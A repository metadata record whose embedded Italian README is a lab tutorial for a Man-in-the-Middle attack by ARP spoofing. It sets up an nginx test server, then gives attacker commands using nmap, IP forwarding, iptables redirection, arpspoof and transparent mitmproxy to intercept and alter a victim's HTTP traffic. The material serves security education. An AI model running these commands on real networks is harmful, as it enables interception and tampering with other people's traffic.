{"id":18232754,"url":"https://github.com/senapedev/mitm-arpspoofing","last_synced_at":"2026-05-04T23:36:48.357Z","repository":{"id":259541190,"uuid":"878153688","full_name":"SenapeDev/MitM-ARPspoofing","owner":"SenapeDev","description":"Cybersecurity project demonstrating Man-in-the-Middle attacks through ARP spoofing, intercepting and manipulating network traffic.","archived":false,"fork":false,"pushed_at":"2024-11-17T17:11:23.000Z","size":50,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-02-14T07:46:48.815Z","etag":null,"topics":["cybersecurity-education","docker","mitm","mitmproxy","nginx","wireshark"],"latest_commit_sha":null,"homepage":"","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/SenapeDev.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-10-24T21:17:12.000Z","updated_at":"2024-11-17T17:11:26.000Z","dependencies_parsed_at":"2024-11-04T10:17:52.279Z","dependency_job_id":"68165da3-6ed6-49d4-8d29-91ad4810eec7","html_url":"https://github.com/SenapeDev/MitM-ARPspoofing","commit_stats":null,"previous_names":["senapedev/cysec","senapedev/mitm-arpspoofing"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SenapeDev%2FMitM-ARPspoofing","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SenapeDev%2FMitM-ARPspoofing/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SenapeDev%2FMitM-ARPspoofing/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/SenapeDev%2FMitM-ARPspoofing/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/SenapeDev","download_url":"https://codeload.github.com/SenapeDev/MitM-ARPspoofing/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247836755,"owners_count":21004459,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cybersecurity-education","docker","mitm","mitmproxy","nginx","wireshark"],"created_at":"2024-11-04T14:03:33.634Z","updated_at":"2026-05-04T23:36:48.325Z","avatar_url":"https://github.com/SenapeDev.png","language":"PHP","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Attacco Man-in-the-Middle tramite ARP spoofing\nQuesto progetto esplora tecniche di attacco Man-in-the-Middle tramite ARP spoofing, con l'obiettivo di intercettare, analizzare e modificare il traffico di rete tra un client e un server.\n\n- [Configurazione del server](#1-configurazione-del-server)\n- [Configurazione del MitM](#2-Configurazione-del-MitM)\n\nWant to read this in [English](README_EN.md)?\n\n## 1. Configurazione del server\n\n### 1.1 Installazione di Nginx\n\n```\n$ sudo apt install nginx -y\n```\n\n### 1.2 Generazione del certificato self-signed\nCreare una directory per i certificati SSL:\n\n```\n$ sudo mkdir -p /etc/nginx/ssl\n```\n\n\nGenerare un certificato self-signed con OpenSSL:\n\n```\n$ sudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \\\n-keyout /etc/nginx/ssl/nginx-selfsigned.key \\\n-out /etc/nginx/ssl/nginx-selfsigned.crt\n```\n\n**Descrizione dei parametri**:\n- `-x509`: crea un certificato in formato x509.\n- `-nodes`: disabilita la richiesta di una passphrase per la chiave privata.\n- `-days 365`: imposta la durata del certificato a 365 giorni.\n- `-newkey rsa:2048`: genera una nuova chiave RSA a 2048 bit.\n\n### 1.3 Configurazione di Nginx\n\n```\n$ sudo nano /etc/nginx/sites-available/default\n```\n\nAggiungere la seguente configurazione, sostituendo `\u003cIP_addr\u003e` con l'indirizzo IP del server:\n\n```\nserver {\n    listen 80 default_server;\n    listen [::]:80 default_server;\n    server_name \u003cIP_addr\u003e;\n\n    # Reindirizzamento da HTTP a HTTPS\n    return 301 https://$host$request_uri;\n}\n\nserver {\n    listen 443 ssl;\n    server_name \u003cIP_addr\u003e;\n\n    ssl_certificate /etc/nginx/ssl/nginx-selfsigned.crt;\n    ssl_certificate_key /etc/nginx/ssl/nginx-selfsigned.key;\n\n    location / {\n        proxy_pass http://localhost:8080;\n        proxy_set_header Host $host;\n        proxy_set_header X-Real-IP $remote_addr;\n        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n        proxy_set_header X-Forwarded-Proto $scheme;\n    }\n}\n```\n\n### 1.4 Verifica e riavvio di Nginx\nVerificare la configurazione e riavviare il servizio:\n\n```\n$ sudo nginx -t\n$ sudo systemctl restart nginx\n```\n\n### 1.5 Avvio dei container Docker\nClonare la repository e avviare i container:\n\n```\n$ git clone https://github.com/SenapeDev/MitM-ARPspoofing.git\n$ cd server\n$ docker compose up --build -d\n```\n\n### 1.6 Gestione della modalità HTTPS\nPer attivare o disattivare HTTPS tramite Makefile:\n\n```\n$ make https-on\n$ make https-off\n```\n- `https-on`: attiva il reindirizzamento verso HTTPS.\n- `https-off`: disattiva il reindirizzamento HTTPS, tornando a HTTP.\n---\n\n## 2. Configurazione del MitM\n\n### 2.1 Installazione di Nmap\n\n```\n$ sudo apt install nmap -y\n```\n\n### 2.2 Scansione della rete locale con Nmap\nPer trovare gli indirizzi l'indirizzo IP dell'host che ospita il sito web all'interno della rete locale, eseguire:\n\n```\n$ nmap -p 80,443 --open -sV \u003cIP_range\u003e\n```\n\n**Descrizione dei parametri**:\n- `-sV` rileva i servizi attivi e tenta di identificare l’applicazione web in esecuzione.\n- `--open` mostra solo gli host con porte aperte.\n- `\u003cIP_range\u003e` è il range degli indirizzi IP in cui viene effettuata la scansione.\n\n### 2.3 Abilitazione del packet forwarding\nAbilitare il packet forwarding per consentire la ritrasmissione dei pacchetti tra server e vittima:\n\n```\n# echo 1 \u003e /proc/sys/net/ipv4/ip_forward\n```\n\n### 2.4 Configurazione di iptables per la redirezione del traffico\nReindirizzare il traffico HTTP verso la porta 8080 (utilizzata da `mitmproxy`):\n\n```\n$ sudo iptables -t nat -A PREROUTING -p tcp -s \u003csrc_IP\u003e --dport 80 -j REDIRECT --to-port 8080\n```\n\nQuesto comando utilizza la tabella `nat` di iptables per redirigere il traffico destinato alla porta 80 all’indirizzo specificato, verso la porta 8080. Le modifiche non sono permanenti e saranno rimosse al riavvio.\n\n### 2.5 Verifica delle regole impostate\nPer verificare le regole `iptables` attive:\n\n```\n$ sudo iptables -t nat -L -v -n\n```\n\nIl comando elenca tutte le regole impostate nella tabella `nat` di iptables con dettagli (`-v`) e senza risoluzione di nomi (`-n`).\n\n### 2.6 Installazione di dsniff\nInstallare `dsniff` per eseguire l’ARP spoofing:\n\n```\n$ sudo apt install dsniff\n```\n\n### 2.7 Esecuzione di ARP Poisoning\nUtilizzare `arpspoof` per ingannare la vittima e farle credere di comunicare con il server:\n\n```\n# arpspoof -i \u003cinterface\u003e -t \u003csrc_IP\u003e \u003cdest_IP\u003e\n```\n\nQuesto comando invia pacchetti ARP all'indirizzo IP della vittima (`\u003csrc_IP\u003e`) per impostare l'indirizzo `\u003cdest_IP\u003e` (il server impersonato) come mittente, sfruttando l'interfaccia di rete specificata (`\u003cinterface\u003e`).\n\n### 2.8 Installazione di Wireshark\nPer catturare e analizzare il traffico di rete, installare Wireshark:\n\n```\n$ sudo apt install wireshark -y\n```\n\n\n### 2.9 Intercettazione di pacchetti con Wireshark\nAvviare Wireshark per catturare il traffico:\n\n```\n$ sudo wireshark\n```\n\n### 2.10 Installazione di mitmproxy\nInstallare `mitmproxy` per manipolare le richieste:\n\n```\n$ pip install mitmproxy\n```\n\n### 2.11 Installazione dello script per mitmproxy\n```\n$ git clone https://github.com/SenapeDev/MitM-ARPspoofing.git\n```\n### 2.12 Intercettazione e modifica delle richieste con mitmproxy\nEseguire `mitmproxy` in modalità trasparente per intercettare e modificare il traffico HTTP:\n\n```\n$ cd mitm\n$ mitmproxy -s main.py --mode transparent\n```\n\nQuesto comando avvia `mitmproxy` in modalità trasparente (`--mode transparent`) per intercettare il traffico senza configurazioni sul client.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsenapedev%2Fmitm-arpspoofing","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsenapedev%2Fmitm-arpspoofing","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsenapedev%2Fmitm-arpspoofing/lists"}